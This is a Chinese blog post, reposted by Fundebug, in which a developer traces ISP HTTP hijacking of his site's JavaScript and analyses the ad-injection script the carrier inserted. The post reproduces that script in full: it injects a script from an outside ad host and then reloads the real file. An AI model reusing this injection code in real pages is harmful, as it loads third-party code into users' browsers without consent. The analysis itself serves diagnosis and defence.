编者按:Fundebug的客户通过分析我们提供的报警信息,定位了一个非常棘手的问题—ISP劫持http请求。他的分析过程非常有意思,同时也提醒我们,应该及时支持HTTPS来保证站点安全。

原文: ISP劫持http请求

作者: Mr_Qi

本文版权归原作者Mr_Qi所有

最近业务系统经常受到前端报错邮件

发现大量的ip为沈阳联通客户==>初步推断为运营商http劫持

经过现场排查发现出错画面部分js加载出错

区别在于错误的js会先插入一个广告js

为区别是否dns劫持查看NetWork面板

IP正确并且为我方服务器IP确认并非为DNS攻击。

由于大面积出现沈阳联通问题,(故而考虑应当为运营商问题?应该不会出现大范围路由器被黑的可能吧)

返回js如下

(function () {

try {

var o = 'm-_-m',

D = document;

if (!D.getElementById(o)) {

var j = 'http://yunxiu.f6car.com/kzf6/js/basic/XXX.js',

J = j + (~j.indexOf('?') ? '&' : '?') + new Date().getTime(),

M = 'http://pc.quansj.cn/?cid=08',

C = D.currentScript,

H = D.getElementsByTagName('head')[0],

N = function (s, i) {

var I = D.createElement('script');

I.type = 'text/JavaScript';

if (i) I.id = i;

I.src = s;

H.appendChild(I);

};

if (self == top) {

N(M, o);

}

if (!C) {

C = (function () {

var S = D.scripts,

l = S.length,

i = 0;

for (; i < l; ++i) {

if (S[i].src === j) {

return S[i];

}

}

})();

}

C && ((C.defer || C.async) ? N(J) : D.write('<script src="' + J + '"><' + '/script>'));

}

} catch (e) {}

})();

通过域名Whois反查

发现旗下域名

有好几个都是广告劫持网站

貌似和一个说脱口秀的(赵本山徒弟)同名………………该不是同一个人吧/(ㄒoㄒ)/~~

和沈阳联通沟通后无果,拒不承认存在劫持。目前正在求助工信部,不知能否有解决方案。

github上已经有针对该地址的adblock了……明显辽宁联通

看了一下js选项,正常情况下会执行到

C&&((C.defer||C.async)?N(J):D.write('<script src="'+J+'"><'+'/script>'));

也就是说理论上会同步加载我们服务器上的js~但是事实上出现了大量的js未加载到代码做了判断,如果支持defer或者async这直接append异步加载js,当不支持则直接通过document写入(同步执行)

经过查阅发现chrome有个设置(据说chrome55(?)+版本后优化)可以尝试一下

chrome://flags/#disallow-doc-written-script-loads

具体说明如下

> With this data in mind, Chrome, starting with version 55, [intervenes](https://github.com/WICG/interventions/issues/17) on behalf of all users when we detect this known-bad pattern by changing how `document.write()` is handled in Chrome (See [Chrome Status](https://www.chromestatus.com/feature/5718547946799104)). Specifically Chrome will not execute the `<script>` elements injected via `document.write()`when **all** of the following conditions are met:

>

> 1. The user is on a slow connection, specifically when the user is on 2G. (In the future, the change might be extended to other users on slow connections, such as slow 3G or slow WiFi.)

> 2. The `document.write()` is in a top level document. The intervention does not apply to document.written scripts within iframes as they don't block the rendering of the main page.

> 3. The script in the `document.write()` is parser-blocking. Scripts with the '[`async`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async)' or '[`defer`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer)' attributes will still execute.

> 4. The script is not hosted on the same site. In other words, Chrome will not intervene for scripts with a matching eTLD+1 (e.g. a script hosted on js.example.org inserted on [www.example.org](http://www.example.org/)).

> 5. The script is not already in the browser HTTP cache. Scripts in the cache will not incur a network delay and will still execute.

> 6. The request for the page is not a reload. Chrome will not intervene if the user triggered a reload and will execute the page as normal.

>

> Third party snippets sometimes use `document.write()` to load scripts. Fortunately, most third parties provide [asynchronous loading alternatives](https://developers.google.com/speed/docs/insights/UseAsync), which allow third party scripts to load without blocking the display of the rest of the content on the page.

貌似我们不符合条件4 暂时先考虑一下

代码format完后大惊失色……整个加载js的前提是画面中没有id为m-_-m的节点。否则不会进行加载js ,即不会执行document.write

如果悲催的是我们画面中存在2个或两个以上的js被劫持,那么除了第一个js其余均不会加载。

那么查看了一下js请求(带有queryString),发现

果然当时客户的请求了commonjs,也就是commonjs也被劫持了。此刻画面中出现了m-_-m节点。导致其他被劫持的js不会加载真实的js………………

再说一下关于我们首页的劫持(跳转?)

明显也是江苏宽带(南京电信)的劫持……

关于Fundebug

Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。
自从2016年双十一正式上线,Fundebug累计处理了6亿+错误事件,得到了Google、360、金山软件等众多知名用户的认可。欢迎免费试用!

版权声明:

转载时请注明作者Fundebug以及本文地址:
https://blog.fundebug.com/2017/05/10/isp-hijack-http/

												

我是这样发现ISP劫持HTTP请求的的更多相关文章

  1. 从 Page not found: / 提示说起,我是怎么发现webstrom与myeclipse冲突问题及解决的

    #从 Page not found: / 提示说起,我是怎么发现webstrom与myeclipse冲突问题的 ##  从前面发表了两篇博文,[webstorm+nodejs+JetBrains ID ...

  2. 我是怎么发现并解决项目页面渲染效率问题的(IE调试工具探查器的使用)

    #我是怎么发现并解决项目页面渲染效率问题的(IE调试工具探查器的使用) ##背景 之前的项目中,有很多的登记页面,一般都有100-200甚至更加多的字段,而且还涉及到字典.日期及其他效果的显示,载入时 ...

  3. Fundebug累计处理1000万条错误事件!

    摘要上线半年时间,Fundebug累计处理1000万条错误事件.10000000啊! 自从去年双11[正式上线](https://blog.fundebug.com/2016/11/11/fundeb ...

  4. 【HTTP劫持和DNS劫持】腾讯的实际业务分析

        简单介绍一下HTTP劫持和DNS劫持的概念,也就是运营商通过某些方式篡改了用户正常访问的网页,插入广告或者其他一些杂七杂八的东西.       首先对运营商的劫持行为做一些分析,他们的目的无非 ...

  5. App安全(一) Android防止升级过程被劫持和换包

    文/ Tamic 地址/ http://blog.csdn.net/sk719887916/article/details/52233112 前言 APP 安全一直是开发者头痛的事情,越来越多的安全漏 ...

  6. HTTP劫持和DNS劫持

    HTTP劫持和DNS劫持 首先对运营商的劫持行为做一些分析,他们的目的无非就是赚钱,而赚钱的方式有两种: 1.对正常网站加入额外的广告,这包括网页内浮层或弹出广告窗口: 2.针对一些广告联盟或带推广链 ...

  7. 详解ASP.NET Core API 的Get和Post请求使用方式

    上一篇文章帮助大家解决问题不彻底导致博友使用的时候还是遇到一些问题,欢迎一起讨论.所以下面重点详细讲解我们常用的Get和Post请求( 以.net core2.2的Http[Verb]为方向 ,推荐该 ...

  8. CSRF(跨站请求伪造攻击)漏洞详解

    Cross-Site Request Forgery(CSRF),中文一般译作跨站点 请求伪造.经常入选owasp漏洞列表Top10,在当前web漏洞排行中,与XSS和SQL注入并列前三.与前两者相比 ...

  9. Http请求的TCP连接

    我们一直认为,HTTP连接分为长连接和短连接,而我们现在常用的都是HTTP1.1,因此我们用的都是长连接. 这句话其实只对了一半,我们现如今的HTTP协议,大部分都是1.1的,因此我们平时用的基本上都 ...

随机推荐

  1. 获取 metadata 过程详解 - 每天5分钟玩转 OpenStack(167)

    接上节,启动 neutron router 后 instance c1 终于拿到了 metadata, 从下面 c1 的启动日志可知: c1 所认为的 metadata 服务地址是 169.254.1 ...

  2. centos7 安装kubernetes1.4

    192.168.251.9 master192.168.251.231 node 建议可以搭建etcd集群来做数据库存储,并搭建kube-dns,然后把k8s的日志落地到/var/log/kubern ...

  3. Html5 Canvas笔记(3)-Canvas状态

    p{ font-size: 15px; text-indent: 2em; } .alexrootdiv>div{ background: #eeeeee; border: 1px solid ...

  4. POPTEST老李分享修改dns ip的vbs代码

    POPTEST老李分享修改dns ip的vbs代码   poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜任自动化测试,性能测试,测试工具开发等工作为目标.如果对课程感兴趣,请大家咨 ...

  5. EDP转接IC NCS8805:RGB/LVDS转EDP芯片,带Scaler

    RGB/LVDS-to-eDP Converter w/ Scaler1 FeaturesEmbedded-DisplayPort (eDP) Output1/2/4-lane eDP @ 1.62/ ...

  6. 嵌入javascript脚本的位置

    JavaScript脚本可以放在HTML文档任何需要的位置.一般来说,可以在<head>与</head>.<body>与</body>标记对之间按需要放 ...

  7. 1101: 零起点学算法08——简单的输入和计算(a+b)

    1101: 零起点学算法08--简单的输入和计算(a+b) Time Limit: 1 Sec  Memory Limit: 128 MB   64bit IO Format: %lldSubmitt ...

  8. web开发与IC卡读卡器

    前段时间有个项目在客户端web下使用IC卡读卡器,试了很多种方案都觉得麻烦,最后在网上找了个现成的方案,采用了YW-605HA读卡器,厂家就不说了,免得说做广告.开发起来也挺简单. 他们将IC卡读卡器 ...

  9. c++中的namespace(附程序运行图)

    实验于华中农业大学逸夫楼2017.3.10 namespace中文意思是命名空间或者叫名字空间,传统的C++只有一个全局的namespace,但是由于现在的程序的规模越来越大,程序的分工越 来越细,全 ...

  10. html的常用基础应用

    HTML结构   如下一段最简单的HTML代码:<html>     <head>          <title>HTML页面</title>     ...